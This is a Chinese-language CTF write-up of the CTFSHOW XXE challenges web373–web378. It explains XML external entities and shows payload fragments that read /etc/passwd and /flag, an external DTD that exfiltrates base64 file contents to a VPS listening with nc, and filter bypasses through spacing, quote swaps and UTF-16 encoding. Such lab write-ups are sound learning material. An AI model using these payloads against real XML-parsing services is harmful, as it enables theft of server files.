CTFSHOW | XXE题解 web373 - web378
什么是XML
XML,全称为可扩展标记语言(eXtensible Markup Language),设计宗旨是传输和存储数据
可以把它和HTML对比来理解:
- HTML 的标签(如
<h1>
,<p>
)是预定义好的,主要功能是告诉浏览器如何显示内容。 - XML 的标签则可以由开发者根据需求自己定义,用来清晰地描述数据的结构和含义。
举个例子
1 |
|
为了更好地理解XXE,我们还需要了解XML中两个与漏洞密切相关的关键组件:DOCTYPE
和 ENTITY
- DOCTYPE (文档类型声明) :它通常出现在XML文档的顶部,用于定义该文档的结构和规则。对于XXE漏洞来说,
DOCTYPE
最重要的作用是,它提供了一个可以定义实体(ENTITY)的地方 - ENTITY (实体) :必须在
DOCTYPE
声明中定义,主要有两种:- 内部实体:像一个简单的文本变量,方便在文档中复用。例如:
<!ENTITY author "Wayne">
,之后在文档中使用的&author;
就会被替换为 “Wayne” - 外部实体:这是XXE漏洞的核心。它允许我们引用外部资源的内容,例如服务器上的一个文件或一个网址。例如:
<!ENTITY xxe SYSTEM "file:///etc/passwd">
- 内部实体:像一个简单的文本变量,方便在文档中复用。例如:
什么是XXE
XXE全称是“XML外部实体注入”(XML External Entity Injection),当一个应用程序接收并解析了用户提交的XML数据,但其XML解析器配置不当时,就容易产生XXE漏洞
流程大概如下
- 构造一个恶意的XML文档
- 在文档中定义一个指向服务器本地敏感文件的外部实体,例如:
<!ENTITY xxe SYSTEM "file:///etc/passwd">
- 在XML数据中引用这个实体
&xxe;
- 服务器在解析这段XML时,会查找并读取
/etc/passwd
文件的内容,并用它替换掉&xxe;
- 最后,攻击者通过页面的回显(有回显XXE)或将数据发送到自己的服务器(无回显XXE)来窃取信息
题目列表
web373
题目给了源码,我们可以分析一下
1 |
|
由源码可知,这是个有回显的XXE,因此直接POST注入即可
payload:
1 |
|
web374
分析源码
相比上一题,这一题少了回显代码,也就是
1 | $creds = simplexml_import_dom($dom); |
因此这是个无回显的XXE,需要用到vps进行数据外带显示
payload:
1 |
然后在vps的网站根目录创建test.dtd
1 | <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag"> |
保存文件并退出Vim:按下ESC进入命令模式,然后输入:wq
并按回车键
最后在服务器用nc监听1234端口
1 | nc -lvvp 1234 |
接着发送POST请求
重新回到vps查看加密内容,然后base64解码即可
我们来分析一下思路,简单来说就是初始Payload调用了外部DTD,外部DTD中先用一个实体%eval;
去定义另一个能发送数据的实体%out;
,然后再调用这个新实体将文件内容外带出来
那为什么要这样子套娃,直接调用不可以吗
1 | <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag"> |
如果直接调用,上面第二步中的 <!ENTITY % out ...>
会直接导致XML解析器报错。因为在解析器看来,%file;
这个引用被用在了另一个实体 out
的定义字符串里,这是不被允许的
因此我们需要嵌套使用,用外部实体%eval;
把内层命令伪装成一个字符串,当外部实体被调用后,此时%file;
实体已经被定义过了,最后再调用%out;
,就可以成功执行命令
1 | <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag"> |
web375
先看看源码
跟上一题差不多,不过这次多了一个过滤条件,由于它是匹配整一个语句<?xml version="1.0"
,因此有很多方法绕过
1 | if(preg_match('/<\?xml version="1\.0"/', $xmlfile)){ |
方法一:
在xml和version中加一个空格
1 |
方法二:
直接把<?xml version="1.0" encoding="UTF-8"?>
去掉
1 |
方法三:
把双引号改成单引号,即<?xml version='1.0' encoding="UTF-8"?>
1 |
随便选一种方法做即可,其他步骤跟上一题一样,成功得到flag
web376
先看源码
相比上一题,这题的过滤条件多了一个检测大小写功能,但是不影响做题,可以用上一题的方法
web377
分析源码
这次多了一个http的过滤,可以用编码绕过,xml不仅支持UTF-8编码,也支持UTF-16、UTF-32和EBCDIC编码
因此我们在web375绕过<?xml version="1.0"
的基础上,加一个编码转换即可,用python脚本完成
1 | import requests |
先在vps监听端口,然后运行脚本
web378
打开题目看到一个登录框
ctrl+u
查看网页源码,可以判断存在XXE漏洞
在登录框页面随便输入个账号密码,可以看到有回显,因此是属于有回显的XXE
因此我们可以构造XML payload,然后POST发送到/doLogin即可,这里用python脚本
1 | import requests |
CTFSHOW | XXE题解 web373 - web378
https://waynejoon.github.io/posts/ctfshow-xxe-web373-web378/